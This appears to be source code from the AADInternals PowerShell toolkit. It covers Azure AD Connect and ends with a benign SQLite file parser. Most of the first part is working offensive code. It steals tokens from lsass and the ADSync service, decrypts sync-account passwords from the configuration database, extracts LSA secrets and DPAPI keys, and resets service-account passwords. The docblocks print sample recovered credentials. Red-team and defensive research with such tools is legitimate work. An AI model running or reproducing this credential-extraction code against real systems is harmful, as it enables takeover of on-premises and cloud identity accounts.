Write-Warning "Use the -AsADSync $true parameter to try again!"
return $false
}
}
catch
{
Write-Verbose "Could not get WMI info, probably already running as ADSync so skipping the ""elevation"""
$AsADSync = $false
}
# Elevate the current thread by copying the token from ADSync service
if($AsADSync)
{
# First we need to get connection once to the DB to get token.
# If done after "elevating" to ADSync, all SQL connections to configuration database will fail.
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
$SQLclient.Open()
$SQLclient.Close()
try
{
# Copy the tokens from lsass and miiserver (ADSync) processes
Write-Verbose "Trying to ""elevate"" by copying token from lsass and then miiserver (ADSync) processes"
$elevation = [AADInternals.Native]::copyLsassToken() -and [AADInternals.Native]::copyADSyncToken()
}
catch
{
$elevation = $false
}
if($elevation)
{
Write-Verbose """Elevation"" to ADSync succeeded!"
#Write-Warning "Running as ADSync ($ADSyncUser). You MUST restart PowerShell to restore $CurrentUser rights."
}
else
{
Write-Error "Could not change to $ADSyncUser. MUST be run as administrator!"
}
}
}
}
# May 15th 2019
function Get-SyncCredentials
{
<#
.SYNOPSIS
Gets Azure AD Connect synchronization credentials
.Description
Extracts Azure Active Directory Connect crecentials from WID configuration database. MUST be run on AADConnect server
as local administrator
.Example
Get-AADIntSyncCredentials
Name Value
---- -----
AADUser [email protected]
AADUserPassword $.1%(lxZ&/kNZz[r
ADDomain1 company.com
ADUser1 MSOL_4bc4a34e95fa
ADUserPassword1 Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
ADDomain2 business.net
ADUser2 MSOL_4bc4a34e95fa
ADUserPassword2 cE/Pj+4/MR6hW)2L_4P=H^hiq)pZhMb...
.Example
PS C:\>$synccredentials = Get-AADIntSyncCredentials -AsCredentials
PS C:\>Get-AADIntAccessTokenForAADGraph -Credentials $synccredentials[0] -SaveToCache
Tenant User Resource Client
------ ---- -------- ------
a5427106-ed71-4185-9481-221e2ebdfc6c [email protected] https://graph.windows.net 1b730954-1685-4b74...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$false)]
[bool]$AsBackgroundProcess=$true,
[Parameter(Mandatory=$false)]
[switch]$AsCredentials,
[Parameter(Mandatory=$false)]
[switch]$force
)
Process
{
# Check whether we are running in elevated session
Test-LocalAdministrator -Throw | Out-Null
# If started as a background process, start the background job script
if($AsBackgroundProcess)
{
# Check that we are on AADConnect server and that the service is running
if($force -ne $true -and (($adSyncService = Get-Service ADSync -ErrorAction SilentlyContinue) -eq $null -or $adSyncService.Status -ne "Running"))
{
Write-Error "This command needs to be run on a computer with ADSync running!"
return $false
}
Write-Verbose "Starting as a background process."
Try
{
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "powershell.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.CreateNoWindow = $true
$pinfo.WorkingDirectory = $PSScriptRoot
$pinfo.Arguments = "-File AADSyncSettings_job.ps1"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
# Get the return value and convert from JSON string
$response = $p.StandardOutput.ReadToEnd()
Write-Verbose "Background process response: $response"
$retVal = $response | ConvertFrom-Json
$p.WaitForExit()
}
Catch
{
throw "Could not export credentials using background process."
}
}
else
{
# Do the checks
if((Check-Server -force $force) -eq $false)
{
return
}
# Read the encrypt/decrypt key settings
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
$SQLclient.Open()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$SQLreader = $SQLcmd.ExecuteReader()
$SQLreader.Read() | Out-Null
$key_id = $SQLreader.GetInt32(0)
$instance_id = $SQLreader.GetGuid(1)
$entropy = $SQLreader.GetGuid(2)
$SQLreader.Close()
# Read the AD configuration data
$ADConfigs=@()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$SQLreader = $SQLcmd.ExecuteReader()
while($SQLreader.Read())
{
$ADConfig = $SQLreader.GetString(0)
$ADCryptedConfig = $SQLreader.GetString(1)
$ADConfigs += New-Object -TypeName psobject -Property @{"ADConfig" = $ADConfig; "ADCryptedConfig" = $ADCryptedConfig}
}
$SQLreader.Close()
# Read the AAD configuration data
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
$SQLreader = $SQLcmd.ExecuteReader()
$SQLreader.Read() | Out-Null
$AADConfig = $SQLreader.GetString(0)
$AADCryptedConfig = $SQLreader.GetString(1)
$SQLreader.Close()
$SQLclient.Close()
# Extract the data
$attributes=[ordered]@{}
$attributes["AADUser"]=([xml]$AADConfig).MAConfig.'parameter-values'.parameter[0].'#text'
$attributes["AADUserPassword"]=""
try
{
# Decrypt config data
$KeyMgr = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$KeyMgr.LoadKeySet($entropy, $instance_id, $key_id)
#$key = $null
#$KeyMgr.GetActiveCredentialKey([ref]$key)
$key2 = $null
$KeyMgr.GetKey(1, [ref]$key2)
# Extract the encrypted data
$n=1
foreach($ADConfig in $ADConfigs)
{
$ADDecryptedConfig = $null
$key2.DecryptBase64ToString($ADConfig.ADCryptedConfig, [ref]$ADDecryptedConfig)
$attributes["ADDomain$n" ]=([xml]$ADConfig.ADConfig).'adma-configuration'.'forest-login-domain'
$attributes["ADUser$n" ]=([xml]$ADConfig.ADConfig).'adma-configuration'.'forest-login-user'
$attributes["ADUserPassword$n"]=([xml]$ADDecryptedConfig).'encrypted-attributes'.attribute.'#text'
$n++
}
$AADDecryptedConfig = $null
$key2.DecryptBase64ToString($AADCryptedConfig, [ref]$AADDecryptedConfig)
$attributes["AADUserPassword"]=([xml]$AADDecryptedConfig).'encrypted-attributes'.attribute | Where name -eq "Password" | Select -ExpandProperty "#text"
$retVal = [PSCustomObject]$attributes
}
catch
{
Write-Error "Could not load key set!"
}
}
# Create credentials objects if requested
if($AsCredentials)
{
$credentials = @()
# There is only one AAD credentials
$credentials += New-Object System.Management.Automation.PSCredential($retVal.AADUser, (ConvertTo-SecureString $retVal.AADUserPassword -AsPlainText -Force))
# Loop through the on-prem AD credentials. Shouldn't be more than 100 :)
for($n = 1 ; $n -lt 100 ; $n++)
{
if(![string]::IsNullOrEmpty($retVal."ADUser$n"))
{
$userName = "$($retVal."ADDomain$n")\$($retVal."ADUser$n")"
$credentials += New-Object System.Management.Automation.PSCredential($userName, (ConvertTo-SecureString $retVal."ADUserPassword$n" -AsPlainText -Force))
}
else
{
# No more on-prem AD credentials
break
}
}
return @($credentials)
}
else
{
return $retVal
}
}
}
# May 16th 2019
function Update-SyncCredentials
{
<#
.SYNOPSIS
Updates Azure AD Connect synchronization credentials
.Description
Updates Azure Active Directory Connect user's password to Azure AD and WID configuration database. MUST be run on AADConnect server
as local administrator with Global Admin credentials to Azure AD
.Example
Update-AADIntSyncCredentials
Password successfully updated to Azure AD and configuration database!
Remember to restart the sync service: Restart-Service ADSync
Name Value
---- -----
ADDomain company.com
ADUser MSOL_4bc4a34e95fa
ADUserPassword Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
AADUser [email protected]
AADUserPassword $.1%(lxZ&/kNZz[r
.Example
Update-AADIntSyncCredentials -RestartADSyncService
Password successfully updated to Azure AD and configuration database!
Name Value
---- -----
ADDomain company.com
ADUser MSOL_4bc4a34e95fa
ADUserPassword Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
AADUser [email protected]
AADUserPassword $.1%(lxZ&/kNZz[r
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Switch]$RestartADSyncService,
[Parameter(Mandatory=$false)]
[switch]$force
)
Process
{
# Do the checks
if((Check-Server -force $force) -eq $false)
{
return
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
if([String]::IsNullOrEmpty($AccessToken))
{
Write-Error "No AccessToken provided!"
return
}
# Admin user
$AdminUser = (Read-Accesstoken -AccessToken $at).upn
# Get the current configuration
$SyncCreds = Get-SyncCredentials -force
$SyncUser = ($SyncCreds.AADUser.Split("@")[0])
Write-Verbose "Updating password for $SyncUser as $AdminUser"
# Reset the account password in AzureAD
$NewPassword = (Reset-ServiceAccount -AccessToken $AccessToken -ServiceAccount $SyncUser).Password
# Escaping password for xml
$NewPassword = [System.Security.SecurityElement]::Escape($NewPassword)
if([String]::IsNullOrEmpty($NewPassword))
{
Write-Error "Password for user $SyncCreds could not be reset to Azure AD"
return
}
# Create a new config
$ADDecryptedConfig=@"
<encrypted-attributes>
<attribute name="Password">$NewPassword</attribute>
</encrypted-attributes>
"@
# Read the encrypt/decrypt key settings
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
$SQLclient.Open()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$SQLreader = $SQLcmd.ExecuteReader()
$SQLreader.Read() | Out-Null
$key_id = $SQLreader.GetInt32(0)
$instance_id = $SQLreader.GetGuid(1)
$entropy = $SQLreader.GetGuid(2)
$SQLreader.Close()
# Load keys
$KeyMgr = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$KeyMgr.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$KeyMgr.GetActiveCredentialKey([ref]$key)
$key2 = $null
$KeyMgr.GetKey(1, [ref]$key2)
# Encrypt
$AADCryptedConfig = $null
$key2.EncryptStringToBase64($ADDecryptedConfig,[ref]$AADCryptedConfig)
# Write the updated AAD password
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "UPDATE mms_management_agent SET encrypted_configuration=@pwd WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
$SQLcmd.Parameters.AddWithValue("@pwd",$AADCryptedConfig) | Out-Null
$UpdatedRows = $SQLcmd.ExecuteNonQuery()
$SQLclient.Close()
if($UpdatedRows -ne 1)
{
Write-Error "Updated $UpdatedRows while should update 1. Could be error"
return
}
Write-Host "Password successfully updated to Azure AD and configuration database!"
# Return
Get-SyncCredentials -force
# Restart the ADSync service if requested
if($RestartADSyncService)
{
Restart-Service ADSync
}
else
{
Write-Host "Remember to restart the sync service: Restart-Service ADSync" -ForegroundColor Yellow
}
}
}
# May 17th 2019
function Set-ADSyncAccountPassword
{
<#
.SYNOPSIS
Sets the password of ADSync service account
.Description
Sets the password of ADSync service account to AD and WID configuration database. MUST be run on AADConnect server
as domain administrator.
.Example
Set-AADIntADSyncAccountPassword -NewPassword 'Pa$$w0rd'
Password successfully updated to AD and configuration database!
Remember to restart the sync service: Restart-Service ADSync
Name Value
---- -----
ADDomain company.com
ADUser MSOL_4bc4a34e95fa
ADUserPassword Pa$$w0rd
AADUser [email protected]
AADUserPassword $.1%(lxZ&/kNZz[r
.Example
Set-AADIntADSyncAccountPassword -NewPassword 'Pa$$w0rd' -RestartADSyncService
Password successfully updated to AD and configuration database!
Name Value
---- -----
ADDomain company.com
ADUser MSOL_4bc4a34e95fa
ADUserPassword Pa$$w0rd
AADUser [email protected]
AADUserPassword $.1%(lxZ&/kNZz[r
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$NewPassword,
[Switch]$RestartADSyncService,
[Parameter(Mandatory=$false)]
[switch]$force
)
Process
{
# Do the checks
if((Check-Server -force $force) -eq $false)
{
return
}
# Add the encryption dll reference
Add-Type -path "$(Get-ItemPropertyValue "HKLM:\SOFTWARE\Microsoft\AD Sync" -Name "Location")\Bin\mcrypt.dll"
# Get the current configuration
$SyncCreds = Get-SyncCredentials -force
$SyncUser = $SyncCreds.ADUser
Write-Verbose "Updating password for $SyncUser"
# Reset the account password in AD
try
{
Set-ADAccountPassword -Identity $SyncUser -Reset -NewPassword (ConvertTo-SecureString -AsPlainText $NewPassword -Force)
}
catch
{
# There might be complexity etc. requirements
throw $_
return
}
# Escaping password for xml
$NewPassword = [System.Security.SecurityElement]::Escape($NewPassword)
# Create a new config
$ADDecryptedConfig=@"
<encrypted-attributes>
<attribute name="Password">$NewPassword</attribute>
</encrypted-attributes>
"@
# Read the encrypt/decrypt key settings
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
$SQLclient.Open()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$SQLreader = $SQLcmd.ExecuteReader()
$SQLreader.Read() | Out-Null
$key_id = $SQLreader.GetInt32(0)
$instance_id = $SQLreader.GetGuid(1)
$entropy = $SQLreader.GetGuid(2)
$SQLreader.Close()
# Load keys
$KeyMgr = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$KeyMgr.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$KeyMgr.GetActiveCredentialKey([ref]$key)
$key2 = $null
$KeyMgr.GetKey(1, [ref]$key2)
# Encrypt
$ADCryptedConfig = $null
$key2.EncryptStringToBase64($ADDecryptedConfig,[ref]$ADCryptedConfig)
# Write the updated AA password
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "UPDATE mms_management_agent SET encrypted_configuration=@pwd WHERE ma_type = 'AD'"
$SQLcmd.Parameters.AddWithValue("@pwd",$ADCryptedConfig) | Out-Null
$UpdatedRows = $SQLcmd.ExecuteNonQuery()
$SQLclient.Close()
if($UpdatedRows -ne 1)
{
Write-Error "Updated $UpdatedRows while should update 1. Could be error"
return
}
Write-Host "Password successfully updated to AD and configuration database!"
# Return
Get-SyncCredentials -force
# Restart the ADSync service if requested
if($RestartADSyncService)
{
Restart-Service ADSync
}
else
{
Write-Host "Remember to restart the sync service: Restart-Service ADSync" -ForegroundColor Yellow
}
}
}
# Decrypts AD and AAD passwords with the given key and IV
# May 3rd 2020
function Get-DecryptedConfigPassword
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[byte[]]$Key,
[Parameter(Mandatory=$true)]
[byte[]]$InitialVector
)
Process
{
# Create the AES decryptor
$aes=New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
$aes.Mode = "CBC"
$aes.Key = $Key
$aes.IV = $iv.ToByteArray()
$dc=$aes.CreateDecryptor()
# Decrypt the data
$decData = $dc.TransformFinalBlock($Data,0,$Data.Length)
# Convert to xml and get the password
[xml]$decDataXml = ([text.encoding]::Unicode.GetString($decData)).trimEnd(@(0x00,0x0a,0x0d))
$decPassword = $decDataXml.'encrypted-attributes'.attribute.'#text'
Write-Verbose "DecryptedConfigPassword: $($decDataXml.OuterXml)"
# Return
return $decPassword
}
}
# Encrypts AD or AAD password with the given key and IV
# May 3rd 2020
function New-EncryptedConfigPassword
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$true)]
[string]$Password,
[Parameter(Mandatory=$true)]
[byte[]]$Key,
[Parameter(Mandatory=$true)]
[byte[]]$InitialVector
)
Process
{
# Escaping password for xml
$NewPassword = [System.Security.SecurityElement]::Escape($Password)
# Create the AES encryptor
$aes=New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
$aes.Mode = "CBC"
$aes.Key = $Key
$aes.IV = $initialVector
$en=$aes.CreateEncryptor()
# Encrypt the data
$data = "<encrypted-attributes><attribute name=""password"">$NewPassword</attribute></encrypted-attributes>"
$binData = [text.encoding]::Unicode.GetBytes($data)
$encData = $en.TransformFinalBlock($binData,0,$binData.Length)
Write-Verbose "EncryptedConfigPassword: $(Convert-ByteArrayToHex -Bytes $encData)"
# Return
return $encData
}
}
# Retrieves ADSync encryption key used to encrypt and decrypt configuration data
# May 3rd 2020
function Get-SyncEncryptionKey
{
<#
.SYNOPSIS
Gets ADSync encryption key using the given entropy and instance id
.DESCRIPTION
Gets the ADSync encryption key used to encrypt and decrypt passwords for service users of Azure AD and local AD
.Example
Get-AADIntSyncEncryptionKey -Entropy a1c80460-6fe9-4c6f-bf31-d7a34c878dca -InstanceId 299b1d83-9dc6-479a-92f1-2357fc5abfed
Id Guid CryptAlg Key
-- ---- -------- ---
100000 299b1d83-9dc6-479a-92f1-2357fc5abfed 26128 {4, 220, 54, 13...}
.Example
$key_info = Get-AADIntSyncEncryptionKeyInfo
PS C:\>Get-AADIntSyncEncryptionKey -Entropy $key_info.Entropy -InstanceId $key_info.InstanceId
Id Guid CryptAlg Key
-- ---- -------- ---
100000 299b1d83-9dc6-479a-92f1-2357fc5abfed 26128 {4, 220, 54, 13...}
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[guid]$Entropy,
[Parameter(Mandatory=$false)]
[guid]$InstanceId,
[Parameter(Mandatory=$false)]
[int]$KeySetId = 1
)
# Define the return variable
$retVal = $null
# Get the stored password for the ADSync service
$ServiceSecret=Get-LSASecrets -Service "ADSync"
Write-Verbose "UserName: $($ServiceSecret.Account)"
Write-Verbose "Password: $($ServiceSecret.PasswordTxt)`n`n"
# As we now know the password of the user, we can get user masterkeys without system masterkey
# Get user's masterkeys and decode them with password
$masterKeys = Get-UserMasterkeys -Credentials $ServiceSecret.Credentials
# Get user's credentials with the masterkeys
$credentials = Get-LocalUserCredentials -UserName $ServiceSecret.Credentials.UserName -MasterKeys $masterKeys
$targetCred = $null
# If instance id not provided, just get the first one
if($InstanceId -eq $null)
{
$targetCred = $credentials[0]
}
else
{
# Try to find the correct credential entry
foreach($cred in $credentials)
{
# Check the target, we are looking for:
$targetKeySet = "LegacyGeneric:target=Microsoft_AzureADConnect_KeySet_{$($instanceid.ToString().ToUpper())}_$([System.BitConverter]::GetBytes([uint64]$KeySetId)[0..5] -join '')"
if($cred.Target -eq $targetKeySet)
{
$targetCred = $cred
break
}
}
}
try
{
# The keyset is actually a DPAPIBlob, so decrypt it using a native DPAPI method in LOCAL MACHINE context
$keySet = [Security.Cryptography.ProtectedData]::Unprotect($targetCred.Secret,$entropy.toByteArray(),'LocalMachine')
Write-Verbose "KeySet: $(Convert-ByteArrayToHex -Bytes $keySet)"
# Parse the keyset
$key = Parse-KeySetBlob -Data $keySet
}
catch{} # Okay
return $key
}
# Parses the MMSK key set blob
# May 3rd 2020
function Parse-KeySetBlob
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true)]
[byte[]]$Data
)
Process
{
# Parse the KeySet
$p=4 # Skip the MMSK string at the beginning
$version = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$id = [System.BitConverter]::ToInt32($Data[($p+3)..($p)]);$p+=4
$guid = [guid][byte[]]$Data[$p..$($p+15)]; $p+=16
$unk0 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk1 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk2 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk3 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk4 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$keyBlockSize = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$secondKeySize = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk7 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk8 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk9 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk10 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk11 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk12 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$enAlg = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$keyLength = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$key = $Data[$p..$($p+$keyLength-1)]; $p+=$keyLength
#$unk15 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
#$enAlg2 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
#$keyLength2 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
#$key2 = $Data[$p..$($p+$keyLength2-1)]; $p+=$keyLength2
Write-Verbose "*** KEYSET ***"
Write-Verbose "Id: $id"
Write-Verbose "Guid: $guid"
Write-Verbose "CryptAlg: $enAlg $($ALGS[$enAlg])"
Write-Verbose "Key: $(Convert-ByteArrayToHex -Bytes $key)`n`n"
$attributes=[ordered]@{
"KeySetId" = $id
"InstanceId" = $guid
"CryptAlg" = $enAlg
"Key" = $key
}
return New-Object PSObject -Property $attributes
}
}
# Gets entropy and instanceid from the local configuration database
# May 6th 2020
function Get-SyncEncryptionKeyInfo
{
<#
.SYNOPSIS
Gets ADSync encryption key info from the local configuration database
.DESCRIPTION
Gets ADSync encryption key info from the local configuration database
.Example
Get-AADIntSyncEncryptionKeyInfo
Name Value
---- -----
InstanceId 299b1d83-9dc6-479a-92f1-2357fc5abfed
Entropy a1c80460-6fe9-4c6f-bf31-d7a34c878dca
#>
[CmdletBinding()]
param()
# Read the encrypt/decrypt key settings
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
$SQLclient.Open()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$SQLreader = $SQLcmd.ExecuteReader()
$SQLreader.Read() | Out-Null
$key_id = $SQLreader.GetInt32(0)
$instance_id = $SQLreader.GetGuid(1)
$entropy = $SQLreader.GetGuid(2)
$SQLreader.Close()
$SQLClient.Close()
return New-Object PSObject ([ordered]@{Entropy = $entropy; InstanceId = $instance_id})
}
# Gets the db connection string from the registry
# May 11th
function Get-AADConfigDbConnection
{
[cmdletbinding()]
Param()
Begin
{
# Create the connection string for the configuration database
$parametersPath = "HKLM:\SYSTEM\CurrentControlSet\Services\ADSync\Parameters"
$dBServer = (Get-ItemProperty -Path $parametersPath).Server
$dBName = (Get-ItemProperty -Path $parametersPath).DBName
$dBInstance = (Get-ItemProperty -Path $parametersPath).SQLInstance
$connectionString = "Data Source=$dbServer\$dBInstance;Initial Catalog=$dBName"
# If not using local WID, use ADSync account credentials
if($dBServer -ne "(localdb)")
{
$connectionString += ";Integrated Security=true"
}
}
Process
{
Write-Verbose "ConnectionString=$connectionString"
return $connectionString
}
}
|
SQLite.ps1 | AADInternals-0.9.4 | # Parses SQLite varint V3
# Sep 27th 2022
function Parse-SQLiteVarIntV3
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[ref]$Position
)
Process
{
return Decode-MultiByteInteger -Data $Data -Position $Position -Reverse
}
}
# Parses SQLite database B-Tree cell payload
# Sep 27th 2022
function Parse-SQLiteBTreeCellPayload
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$false)]
[int]$MaxColumns=20
)
Process
{
# Ref. https://www.sqlite.org/fileformat.html
# Parse the header
$headerSize = $Data[0]
# Parse the columns
$pCol = $headerSize
$nCol = 0
$columns = @()
for($p = 1 ; ($p -lt $headerSize);)
{
$serialType = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
switch($serialType)
{
# null
0 {
$value = $null
break
}
# Integer
1 {
$value = [int] $Data[$pCol]; $pCol++
break
}
# Integer
{$_ -gt 2 -and $_ -lt 8} {
switch($_)
{
{$_ -lt 5} {$nBytes = $_; break}
{$_ -eq 5} {$nBytes = 6; break}
default {$nBytes = 8; break}
}
$bytes = New-Object Byte[] 8
[Array]::Copy($Data,$pCol,$bytes,8-$nBytes,$nBytes)
[Array]::Reverse($bytes)
$value = [bitconverter]::ToInt64($bytes,0); $pCol += $nBytes
break
}
# Integer 0
8 {
$value = [int64] 0
break
}
# Integer 1
9 {
$value = [int64] 1
break
}
# Blob
{$_ -ge 12 -and $_ % 2 -eq 0}
{
$bLen = ($_ - 12) / 2
$value = $Data[$pCol..$($pCol + $bLen -1)]; $pCol += $bLen
break
}
# String - we'll assume UTF-8 encoding
{$_ -ge 13 -and $_ % 2 -ne 0}
{
$bLen = ($_ - 13) / 2
$value = [System.Text.Encoding]::UTF8.GetString($Data[$pCol..$($pCol + $bLen -1)]); $pCol += $bLen
break
}
}
$columns+= $value
}
return $columns
}
}
# Parses SQLite database B-Tree cell
# Sep 27th 2022
function Parse-SQLiteBTreeCell
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[int]$Position,
[Parameter(Mandatory=$true)]
[int]$PageType,
[Parameter(Mandatory=$true)]
[int]$PageSize
)
Process
{
# Ref. https://www.sqlite.org/fileformat.html
$p = $Position
# Overflow calcuation variables
$u = $PageSize # We assume no reserverd space
$m = (($u-12)*32/255)-23 # Always the same
switch($PageType)
{
0x0d #B-Tree Leaf Cell
{
$leftChild = $null
$payLoadBytes = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
$rowId = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
$payLoad = $Data[$p..$($p + $payloadBytes - 1)] ;$p += $payLoadBytes
$x = $u-35
$p = $payLoadBytes
$k = $m+(($p-$m)%($u-4))
if($p>$x)
{
# The first K bytes of P are stored on the btree page and the remaining P-K bytes are stored on overflow pages.
if($k -le $x)
{
$payLoad = $payLoad[0..$k-1]
$p -= $payLoadBytes + $k
}
# The first M bytes of P are stored on the btree page and the remaining P-M bytes are stored on overflow pages
else
{
$payLoad = $payLoad[0..$m-1]
$p -= $payLoadBytes + $m
}
$firstOverflowPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
}
break
}
0x05 #B-Tree Interior Cell
{
$leftChild = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$payLoadBytes = $null
$rowId = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
$payLoad = $null
$firstOverflowPage = $null
break
}
0x0a #B-Tree Leaf Cell
{
$leftChild = $null
$payLoadBytes = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
$rowId = $null
$payLoad = $Data[$p..$($p + $payloadBytes - 1)] ;$p += $payLoadBytes
$x = (($u-12)*64/255)-23
$p = $payLoadBytes
$k = $m+(($p-$m)%($u-4))
if($p>$x)
{
# The first K bytes of P are stored on the btree page and the remaining P-K bytes are stored on overflow pages.
if($k -le $x)
{
$payLoad = $payLoad[0..$k-1]
$p -= $payLoadBytes + $k
}
# The first M bytes of P are stored on the btree page and the remaining P-M bytes are stored on overflow pages
else
{
$payLoad = $payLoad[0..$m-1]
$p -= $payLoadBytes + $m
}
$firstOverflowPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
}
break
}
0x02 #B-Tree Interior Cell
{
$leftChild = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$payLoadBytes = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
$rowId = $null
$payLoad = $Data[$p..$($p + $payloadBytes - 1)] ;$p += $payLoadBytes
$x = (($u-12)*64/255)-23
$p = $payLoadBytes
$k = $m+(($p-$m)%($u-4))
if($p>$x)
{
# The first K bytes of P are stored on the btree page and the remaining P-K bytes are stored on overflow pages.
if($k -le $x)
{
$payLoad = $payLoad[0..$k-1]
$p -= $payLoadBytes + $k
}
# The first M bytes of P are stored on the btree page and the remaining P-M bytes are stored on overflow pages
else
{
$payLoad = $payLoad[0..$m-1]
$p -= $payLoadBytes + $m
}
$firstOverflowPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
}
break
}
}
if($payLoad)
{
$columns = Parse-SQLiteBTreeCellPayload -Data $payLoad
}
$attributes = [ordered]@{
"LeftChildPageNumber" = $leftChild
"PayloadBytes" = $payLoadBytes
"Payload" = $columns
"FirstOverFlowPageNumber" = $firstOverflowPage
}
return New-Object -TypeName psobject -Property $attributes
}
}
# Parses SQLite database file
# Sep 27th 2022
function Parse-SQLiteDatabase
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data
)
Process
{
# Parse SQLite db file header
$p = 0;
$header = Parse-SQLiteHeader -Data $Data -Position ([ref]$p)
# Parse pages
$pages = New-Object psobject[] $header.Pages
$nPages = 0
while($p -lt $Data.Count)
{
$pages[$nPages] = Parse-SQLiteBTreePage -Data $Data -Position ([ref]$p) -PageSize $header.PageSize
$nPages++
# Next page starts from header size + n*PageSize
$p = $nPages * $header.PageSize
}
$attributes = [ordered]@{
"Header" = $header
"Pages" = $pages
}
return New-Object -TypeName psobject -Property $attributes
}
}
# Parses SQLite database file B-Tree page
# Sep 27th 2022
function Parse-SQLiteBTreePage
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[ref]$Position,
[Parameter(Mandatory=$true)]
[int]$PageSize
)
Process
{
# Ref. https://www.sqlite.org/fileformat.html
$p = $Position.Value
# Calculate the page start
if($p -lt $PageSize)
{
$pageStart = 0
}
else
{
$pageStart = $p
}
$pageType = [int]$Data[$p]; $p += 1
# A value of 2 (0x02) means the page is an interior index b-tree page.
